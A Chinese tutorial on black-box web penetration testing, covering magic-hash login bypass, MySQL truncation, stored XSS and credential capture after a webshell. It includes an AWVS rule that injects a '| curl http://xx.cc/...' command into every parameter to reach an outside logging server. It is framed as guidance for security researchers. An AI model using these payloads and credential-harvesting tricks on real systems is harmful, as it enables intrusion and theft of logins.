Web黑盒渗透思路之猜想
字数 1678 2025-08-18 11:37:02
Web黑盒渗透测试高级思路与技巧
1. 后台爆破高级技巧
1.1 PHP MD5哈希比较漏洞利用
- 漏洞原理:PHP5-7版本中,当比较以"0E"开头的哈希字符串时,会将其解释为0
- 利用方法:
- 在爆破字典中加入MD5加密后以"0e"开头的明文密码
- 示例:
240610708的MD5值为0e462097431906509019562988736854
1.2 会话共享漏洞
- 漏洞场景:前后台使用相同的SESSION验证机制
- 检测方法:
- 前台注册并登录后,尝试直接访问后台URL
- 检查SESSION变量是否通用(如
$_SESSION['user'])
- 利用思路:通过前台登录获取有效SESSION,绕过后台认证
1.3 MySQL字段截断漏洞
- 漏洞条件:
- MySQL配置
sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" - 字段长度限制严格(如
varchar(10))
- MySQL配置
- 利用方法:
- 注册用户时使用类似
admin[多个空格]x的用户名 - 由于截断,实际插入的用户名为
admin - 可能导致前台注册用户拥有后台权限
- 注册用户时使用类似
2. 扫描器绕过与增强技术
2.1 扫描器常见盲区
- 表单验证码绕过
- values型SQL注入(非参数型注入)
- 存储型XSS误报率高
- 无回显的命令执行漏洞
2.2 自定义AWVS扫描规则
- 无回显命令执行检测:
- 向每个参数添加
| curl http://xx.cc/xd.php?i=[当前URL] - 使用外部服务器记录请求
- 检测脚本示例:
scheme.setInputValue(i, unescape('| curl http://xx.cc/xd.php?i='+i_url)); var job = new THTTPJob(); job.url = targetUrl; scheme.populateRequest(job); job.execute();
- 向每个参数添加
2.3 结果验证脚本
- 扫描完成后检查记录文件:
var dzRes = http.response.body; if(dzRes.indexOf(scanURL.hostPort) != -1){ logInfo('远程命令执行漏洞发现!!'); // 生成报告... }
3. Webshell后渗透技巧
3.1 数据库密码获取方法
- 传统方法:
- 嗅探(风险高易被发现)
- 逆向加密算法
- 撞库攻击
- 创新方法:
- 修改登录验证逻辑,记录成功登录的凭证
- 通过HTML/JS注入收集凭证:
- 中间人攻击(针对HTTPS需注入JS)
4. 信息收集高级技巧
4.1 历史DNS记录利用
- 方法:
- 查询目标域名的历史解析记录
- 尝试访问旧服务器IP
- 可能发现未清理的测试环境或备份数据
4.2 内网关联分析
- 技巧:
- 查找同C段服务器
- 分析子域名和关联域名
- 通过百科等公开信息寻找关联系统
- 识别相同CMS或框架的站点
5. 钓鱼攻击进阶
5.1 目标信息收集
- 方法:
- 通过留言板等注入信息收集脚本
- 记录User-Agent和IP地址:
$http = $_SERVER['HTTP_USER_AGENT']; $ip = $_SERVER["REMOTE_ADDR"]; file_put_contents("log.txt", "$ip|$http\n", FILE_APPEND); - 根据收集信息定制攻击载荷(如特定系统版本的漏洞利用)
6. 后台发现技术
6.1 重定向攻击法
- 存储型XSS利用:
- 通过提交内容注入JS代码
- 当管理员查看时泄露后台地址
- A标签利用:
- 注入
<a>标签捕获HTTP_REFERER - 发现隐藏的管理域名
- 注入
6.2 HOST绑定探测
- 工具:使用自定义hosts绑定工具
- 方法:
- 扫描常见管理域名(如admin、manager等)
- 尝试绑定不同IP访问
7. 真实IP发现技术
7.1 传统方法局限
- 全网扫描效率低易被封
- CDN识别不总是有效
7.2 创新方法
- 漏洞利用:
- 通过SSRF、XXE等漏洞让服务器发起请求
- 利用文件包含等漏洞获取网络信息
- 如发现漏洞可直接getshell
8. 未授权操作漏洞
8.1 常见场景
- 权限验证不完整:
- 界面访问有验证
- 但数据操作接口无验证
8.2 持久化方法
- Cookie利用:
- 获取永不过期的认证Cookie
- 未授权操作:
- 直接调用添加管理员等接口
- 绕过界面直接发送操作请求
9. 渗透测试方法论
9.1 核心流程
- 分析:全面了解目标系统
- 猜想:基于经验提出可能漏洞
- 实验:验证猜想有效性
- 结果:总结可利用的漏洞
9.2 关键思维
- 突破常规思维限制
- 关注开发者可能忽略的细节
- 重视逻辑漏洞而不仅是技术漏洞
- 保持创新和灵活的测试思路
附录:实用脚本
PHP请求记录脚本
<?php
$ip = $_SERVER["REMOTE_ADDR"] ?? '';
$i = $_GET['i'] ?? '';
$txt = htmlspecialchars($ip."|".$i."\r\n");
file_put_contents("xd.txt", $txt, FILE_APPEND);
?>
AWVS自定义规则模板
// 基本请求结构
var targetUrl = new TURL(scanURL.url);
var scheme = getCurrentScheme();
var http = new THTTPJob();
scheme.populateRequest(http);
// 遍历所有输入参数
for (var i=0;i<scheme.inputCount; i++) {
var variations = scheme.selectVariationsForInput(i);
for (var j=0; j < variations.count; j++) {
scheme.loadVariation(variations.item(j));
// 设置payload
scheme.setInputValue(i, PAYLOAD_HERE);
// 执行测试
var job = new THTTPJob();
job.url = targetUrl;
scheme.populateRequest(job);
job.execute();
}
}
以上内容涵盖了Web黑盒渗透测试中的高级思路和技术要点,重点突出了创新思维和非常规测试方法,适合中高级安全研究人员参考使用。